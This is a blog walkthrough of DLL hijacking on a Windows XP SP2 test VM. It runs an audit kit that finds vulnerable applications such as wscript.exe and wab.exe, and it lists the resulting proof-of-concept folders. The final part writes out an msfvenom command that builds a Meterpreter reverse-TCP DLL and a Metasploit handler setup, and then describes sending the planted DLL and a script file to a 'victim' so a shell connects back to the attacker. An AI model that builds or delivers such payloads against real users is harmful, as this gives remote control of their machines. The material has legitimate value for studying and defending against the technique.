DLL Hijacking
So it’s been spoken of alot but i’d never actually got around to trying it. A colleague has been banging on about it for weeks and before he got chance to play with it a second colleague managed to use this in the wild. Sweet!
I decided it would be worth playing with in order to have a go at creating my own DLL and seeing what is vulnerable on my XP SP2 testing VM.
1 2 3 4 | C:\Documents and Settings\Administrator\Desktop\DLLHijackAuditKit>systeminfo Host Name: XPSP2 OS Name: Microsoft Windows XP Professional OS Version: 5.1.2600 Service Pack 2 Build 2600 |
First thing I needed to do was download the DLLHijackingAuditKit that hdm created. It’s currently on version 2 but I suspect it might change over time so keep your eyes peeled for new versions.
To execute the code you just need to launch the 01_StartAudit.bat as an Administrator. You’ll notice Process Monitor will start up, dont close it, you’ll need output from this later.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 | C:\Documents and Settings\Administrator\Desktop\DLLHijackAuditKit>01_StartAudit.bat [*] Starting the audit... [*] Starting the process monitor... [*] Creating test cases for each file extension... [*] Created 303 test cases [*] Protecting 30 processes [*] Auditing extension: 323 [*] Auditing extension: aca [*] Auditing extension: acf [*] Auditing extension: acs [*] Auditing extension: acw [*] Auditing extension: ai [*] Auditing extension: aif [*] Auditing extension: aifc [*] Auditing extension: aiff [*] Auditing extension: ani [*] Auditing extension: aps [*] Auditing extension: asa [*] Auditing extension: ascx [*] Auditing extension: asf [*] Auditing extension: asm [*] Auditing extension: asmx [*] Auditing extension: asp [*] Auditing extension: aspx [*] Auditing extension: asx [*] Auditing extension: au [*] Auditing extension: audiocd [*] Auditing extension: avi [*] Auditing extension: bfc [*] Auditing extension: bin [*] Auditing extension: bkf [*] Auditing extension: blg [*] Auditing extension: bmp [*] Auditing extension: bsc [*] Auditing extension: c [*] Auditing extension: cab [*] Auditing extension: cat [*] Auditing extension: cda [*] Auditing extension: cdf [*] Auditing extension: cdx [*] Auditing extension: cer [*] Auditing extension: cgm [*] Auditing extension: chk [*] Auditing extension: chm [*] Auditing extension: clp [*] Auditing extension: cmd [*] Auditing extension: cnf [*] Auditing extension: cpp [*] Auditing extension: crl [*] Auditing extension: crt [*] Auditing extension: css [*] Auditing extension: csv [*] Auditing extension: ctt [*] Auditing extension: cur [*] Auditing extension: cxx [*] Auditing extension: dat [*] Auditing extension: db [*] Auditing extension: dbg [*] Auditing extension: dct [*] Auditing extension: def [*] Auditing extension: der [*] Auditing extension: desklink [*] Auditing extension: dib [*] Auditing extension: dic [*] Auditing extension: diz [*] Auditing extension: dl_ [*] Auditing extension: doc [*] Auditing extension: dot [*] Auditing extension: dsn [*] Auditing extension: dun [*] Auditing extension: dvd [*] Auditing extension: dvr-ms [*] Auditing extension: emf [*] Auditing extension: eml [*] Auditing extension: eps [*] Auditing extension: exp [*] Auditing extension: ex_ [*] Auditing extension: eyb [*] Auditing extension: fif [*] Auditing extension: fnd [*] Auditing extension: fnt [*] Auditing extension: folder [*] Auditing extension: fon [*] Auditing extension: ghi [*] Auditing extension: gif [*] Auditing extension: grp [*] Auditing extension: gz [*] Auditing extension: h [*] Auditing extension: hhc [*] Auditing extension: hlp [*] Auditing extension: hpp [*] Auditing extension: hqx [*] Auditing extension: ht [*] Auditing extension: hta [*] Auditing extension: htc [*] Auditing extension: htm [*] Auditing extension: html [*] Auditing extension: htt [*] Auditing extension: htw [*] Auditing extension: htx [*] Auditing extension: hxx [*] Auditing extension: icc [*] Auditing extension: icm [*] Auditing extension: ico [*] Auditing extension: idb [*] Auditing extension: idl [*] Auditing extension: idq [*] Auditing extension: iii [*] Auditing extension: ilk [*] Auditing extension: imc [*] Auditing extension: inc [*] Auditing extension: inf [*] Auditing extension: ini [*] Auditing extension: ins [*] Auditing extension: inv [*] Auditing extension: inx [*] Auditing extension: in_ [*] Auditing extension: isp [*] Auditing extension: its [*] Auditing extension: ivf [*] Auditing extension: java [*] Auditing extension: jbf [*] Auditing extension: jfif [*] Auditing extension: job [*] Auditing extension: jod [*] Auditing extension: jpe [*] Auditing extension: jpeg [*] Auditing extension: jpg [*] Auditing extension: js [*] Auditing extension: jse [*] Auditing extension: latex [*] Auditing extension: lib [*] Auditing extension: lnk [*] Auditing extension: local [*] Auditing extension: log [*] Auditing extension: lwv [*] Auditing extension: m14 [*] Auditing extension: m1v [*] Auditing extension: m3u [*] Auditing extension: man [*] Auditing extension: manifest [*] Auditing extension: mapimail [*] Auditing extension: mdb [*] Auditing extension: mht [*] Auditing extension: mhtml [*] Auditing extension: mid [*] Auditing extension: midi [*] Auditing extension: mmf [*] Auditing extension: mmm [*] Auditing extension: mov [*] Auditing extension: movie [*] Auditing extension: mp2 [*] Auditing extension: mp2v [*] Auditing extension: mp3 [*] Auditing extension: mpa [*] Auditing extension: mpe [*] Auditing extension: mpeg [*] Auditing extension: mpg [*] Auditing extension: mpv2 [*] Auditing extension: msc [*] Auditing extension: msg [*] Auditing extension: msi [*] Auditing extension: msp [*] Auditing extension: msrcincident [*] Auditing extension: msstyles [*] Auditing extension: mswmm [*] Auditing extension: mv [*] Auditing extension: mydocs [*] Auditing extension: ncb [*] Auditing extension: nfo [*] Auditing extension: nls [*] Auditing extension: nmw [*] Auditing extension: nsc [*] Auditing extension: nvr [*] Auditing extension: nws [*] Auditing extension: obj [*] Auditing extension: ocx [*] Auditing extension: oc_ [*] Auditing extension: odc [*] Auditing extension: otf [*] Auditing extension: p10 [*] Auditing extension: p12 [*] Auditing extension: p7b [*] Auditing extension: p7c [*] Auditing extension: p7m [*] Auditing extension: p7r [*] Auditing extension: p7s [*] Auditing extension: pbk [*] Auditing extension: pch [*] Auditing extension: pdb [*] Auditing extension: pds [*] Auditing extension: pfm [*] Auditing extension: pfx [*] Auditing extension: php3 [*] Auditing extension: pic [*] Auditing extension: pko [*] Auditing extension: plg [*] Auditing extension: pma [*] Auditing extension: pmr [*] Auditing extension: pmw [*] Auditing extension: pnf [*] Auditing extension: png [*] Auditing extension: pot [*] Auditing extension: ppi [*] Auditing extension: pps [*] Auditing extension: ppt [*] Auditing extension: prf [*] Auditing extension: ps [*] Auditing extension: psd [*] Auditing extension: psw [*] Auditing extension: qds [*] Auditing extension: rat [*] Auditing extension: rc [*] Auditing extension: rdp [*] Auditing extension: reg [*] Auditing extension: res [*] Auditing extension: rle [*] Auditing extension: rmi [*] Auditing extension: rnk [*] Auditing extension: rpc [*] Auditing extension: rsp [*] Auditing extension: rtf [*] Auditing extension: sam [*] Auditing extension: sbr [*] Auditing extension: sc2 [*] Auditing extension: scf [*] Auditing extension: scp [*] Auditing extension: sct [*] Auditing extension: sdb [*] Auditing extension: sed [*] Auditing extension: shb [*] Auditing extension: shs [*] Auditing extension: shtml [*] Auditing extension: shw [*] Auditing extension: sit [*] Auditing extension: snd [*] Auditing extension: spc [*] Auditing extension: spl [*] Auditing extension: sql [*] Auditing extension: sr_ [*] Auditing extension: sst [*] Auditing extension: stl [*] Auditing extension: stm [*] Auditing extension: swf [*] Auditing extension: sym [*] Auditing extension: sy_ [*] Auditing extension: tar [*] Auditing extension: text [*] Auditing extension: tgz [*] Auditing extension: theme [*] Auditing extension: tif [*] Auditing extension: tiff [*] Auditing extension: tlb [*] Auditing extension: tsp [*] Auditing extension: tsv [*] Auditing extension: ttc [*] Auditing extension: ttf [*] Auditing extension: txt [*] Auditing extension: udl [*] Auditing extension: uls [*] Auditing extension: url [*] Auditing extension: vbe [*] Auditing extension: vbs [*] Auditing extension: vbx [*] Auditing extension: vcf [*] Auditing extension: vxd [*] Auditing extension: wab [*] Auditing extension: wav [*] Auditing extension: wax [*] Auditing extension: wb2 [*] Auditing extension: webpnp [*] Auditing extension: wht [*] Auditing extension: wk4 [*] Auditing extension: wll [*] Auditing extension: wlt [*] Auditing extension: wm [*] Auditing extension: wma [*] Auditing extension: wmd [*] Auditing extension: wmdb [*] Auditing extension: wmf [*] Auditing extension: wmp [*] Auditing extension: wms [*] Auditing extension: wmv [*] Auditing extension: wmx [*] Auditing extension: wmz [*] Auditing extension: wpd [*] Auditing extension: wpg [*] Auditing extension: wpl [*] Auditing extension: wri [*] Auditing extension: wsc [*] Auditing extension: wsf [*] Auditing extension: wsh [*] Auditing extension: wsz [*] Auditing extension: wtx [*] Auditing extension: wvx [*] Auditing extension: x [*] Auditing extension: xbm [*] Auditing extension: xix [*] Auditing extension: xlb [*] Auditing extension: xlc [*] Auditing extension: xls [*] Auditing extension: xlt [*] Auditing extension: xml [*] Auditing extension: xsl [*] Auditing extension: z [*] Auditing extension: z96 [*] Auditing extension: zap [*] Auditing extension: zfsendtotarget [*] Auditing extension: zip [*] Data collection phase complete, export Logfile.CSV from ProcMon. C:\Documents and Settings\Administrator\Desktop\DLLHijackAuditKit>pause Press any key to continue . . . |
After 30minutes or so the first bash script will have completed
Once the code has completed you’ll possibly have a few extra windows open, simply close these but DO NOT CLOSE PROCESS MONITOR. In Process Monitor you’ll need to save the output as CSV; File–>Save.
Save the file inside the DLLHijackingAuditKit folder as Logfile.csv. This file will be imported by 02_Analyze.bat with nice results. To do this simply run the following command:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 | C:\Documents and Settings\Administrator\Desktop\DLLHijackAuditKit>02_Analyze.bat [*] Protecting 30 processes [*] Generating and validating test cases... [*] Application: rundll32.exe [*] Application: msimn.exe [*] Application: grpconv.exe [*] Successfully exploited grpconv.exe with .grp using imm.dll [*] Application: isignup.exe [*] Application: wscript.exe [*] Successfully exploited wscript.exe with .js using wsheng.dll [*] Successfully exploited wscript.exe with .js using wshen.dll [*] Successfully exploited wscript.exe with .js using wshenu.dll [*] Successfully exploited wscript.exe with .jse using wsheng.dll [*] Successfully exploited wscript.exe with .jse using wshen.dll [*] Successfully exploited wscript.exe with .jse using wshenu.dll [*] Successfully exploited wscript.exe with .vbe using wsheng.dll [*] Successfully exploited wscript.exe with .vbe using wshen.dll [*] Successfully exploited wscript.exe with .vbe using wshenu.dll [*] Successfully exploited wscript.exe with .vbs using wsheng.dll [*] Successfully exploited wscript.exe with .vbs using wshen.dll [*] Successfully exploited wscript.exe with .vbs using wshenu.dll [*] Successfully exploited wscript.exe with .wsf using wsheng.dll [*] Successfully exploited wscript.exe with .wsf using wshen.dll [*] Successfully exploited wscript.exe with .wsf using wshenu.dll [*] Successfully exploited wscript.exe with .wsh using wsheng.dll [*] Successfully exploited wscript.exe with .wsh using wshen.dll [*] Successfully exploited wscript.exe with .wsh using wshenu.dll [*] Application: mplay32.exe [*] Application: moviemk.exe [*] Application: wab.exe [*] Successfully exploited wab.exe with .p7c using wab32res.dll [*] Successfully exploited wab.exe with .vcf using wab32res.dll [*] Successfully exploited wab.exe with .wab using wab32res.dll C:\Documents and Settings\Administrator\Desktop\DLLHijackAuditKit>pause Press any key to continue . . . |
Once complete you’ll have a directory called Exploits and this contain proof of concept code for each vulnerable application.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 | C:\Documents and Settings\Administrator\Desktop\DLLHijackAuditKit\Exploits>dir Volume in drive C has no label. Volume Serial Number is 8897-ECF4 Directory of C:\Documents and Settings\Administrator\Desktop\DLLHijackAuditKit\ Exploits 19/12/2011 20:47 <DIR> . 19/12/2011 20:47 <DIR> .. 19/12/2011 20:46 <DIR> grpconv.exe_grp_imm.dll 19/12/2011 20:47 <DIR> wab.exe_p7c_wab32res.dll 19/12/2011 20:47 <DIR> wab.exe_vcf_wab32res.dll 19/12/2011 20:47 <DIR> wab.exe_wab_wab32res.dll 19/12/2011 20:46 <DIR> wscript.exe_jse_wshen.dll 19/12/2011 20:46 <DIR> wscript.exe_jse_wsheng.dll 19/12/2011 20:46 <DIR> wscript.exe_jse_wshenu.dll 19/12/2011 20:46 <DIR> wscript.exe_js_wshen.dll 19/12/2011 20:46 <DIR> wscript.exe_js_wsheng.dll 19/12/2011 20:46 <DIR> wscript.exe_js_wshenu.dll 19/12/2011 20:46 <DIR> wscript.exe_vbe_wshen.dll 19/12/2011 20:46 <DIR> wscript.exe_vbe_wsheng.dll 19/12/2011 20:46 <DIR> wscript.exe_vbe_wshenu.dll 19/12/2011 20:46 <DIR> wscript.exe_vbs_wshen.dll 19/12/2011 20:46 <DIR> wscript.exe_vbs_wsheng.dll 19/12/2011 20:46 <DIR> wscript.exe_vbs_wshenu.dll 19/12/2011 20:46 <DIR> wscript.exe_wsf_wshen.dll 19/12/2011 20:46 <DIR> wscript.exe_wsf_wsheng.dll 19/12/2011 20:46 <DIR> wscript.exe_wsf_wshenu.dll 19/12/2011 20:46 <DIR> wscript.exe_wsh_wshen.dll 19/12/2011 20:46 <DIR> wscript.exe_wsh_wsheng.dll 19/12/2011 20:47 <DIR> wscript.exe_wsh_wshenu.dll 0 File(s) 0 bytes 24 Dir(s) 37,332,926,464 bytes free |
We have quite a few in this example but I will focus on wscript.exe’s vulnerability with how it loads the wshen.dll library. First of all we need to check it’s not a false positive.
1 2 3 4 5 6 7 8 9 10 11 12 13 | C:\Documents and Settings\Administrator\Desktop\wscript.exe_js_wshen.dll>dir Volume in drive C has no label. Volume Serial Number is 8897-ECF4 Directory of C:\Documents and Settings\Administrator\Desktop\wscript.exe_js_wsh en.dll 19/12/2011 21:09 <DIR> . 19/12/2011 21:09 <DIR> .. 19/12/2011 20:46 8 exploit.js 25/08/2010 07:30 14,336 wshen.dll 2 File(s) 14,344 bytes 2 Dir(s) 37,332,922,368 bytes free C:\Documents and Settings\Administrator\Desktop\wscript.exe_js_wshen.dll>exploit .js |
Running the exploit.js code should now call the program that handles files with the *.js extension but from the current directory, in this case the JScript Script File will be opened in the Microsoft (r) Windows Based Script Host Application which is vulnerable. The app will now load as usual but will load the malicious wshen.dll as it’s in the current directory, by default calc.exe should pop up as that’s what’s coded in the runcalc.dll that has been renamed to wshen.dll.
To take this to the next step we will need to encode our own malicious DLL, to do this we will use metasploit’s msfvenom utility.
1 | ./msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.9 LPORT=4444 -f dll > /root/meterpreter_reverse_tcp.dll |
Now we need to ensure we have a listener running on TCP port 4444:
1 2 3 4 5 6 7 8 9 | msf > use exploit/multi/handler msf exploit(handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(handler) > set LHOST 192.168.0.9 LHOST => 192.168.0.9 msf exploit(handler) > exploit -j [*] Exploit running as background job. [*] Started reverse handler on 192.168.0.9:4444 [*] Starting the payload handler... |
Now we must replace the wshen.dll with our meterpreter dll and send both to the victim. When they open the JScript file they will also open a meterpreter shell back to my attack box.
Recent Posts
- Automating an Active Directory Audit in PowerShell
- CherryTree on MacOS (OSX)
- IPv6 LocalLink to IPv4 scanning tool
- NetKit IPv6 Test Lab
- WiPiResponder = Pi Zero W + Responder
- Recovering an activity from a Garmin 920 XT Forerunner
- hashcat on OS X – getting it going!
- PHP NMAP Scan Page
- Hacking the ATN X-sight – part1
- NFSShell on Kali Linux 2.0
Leave a Reply
You must be logged in to post a comment.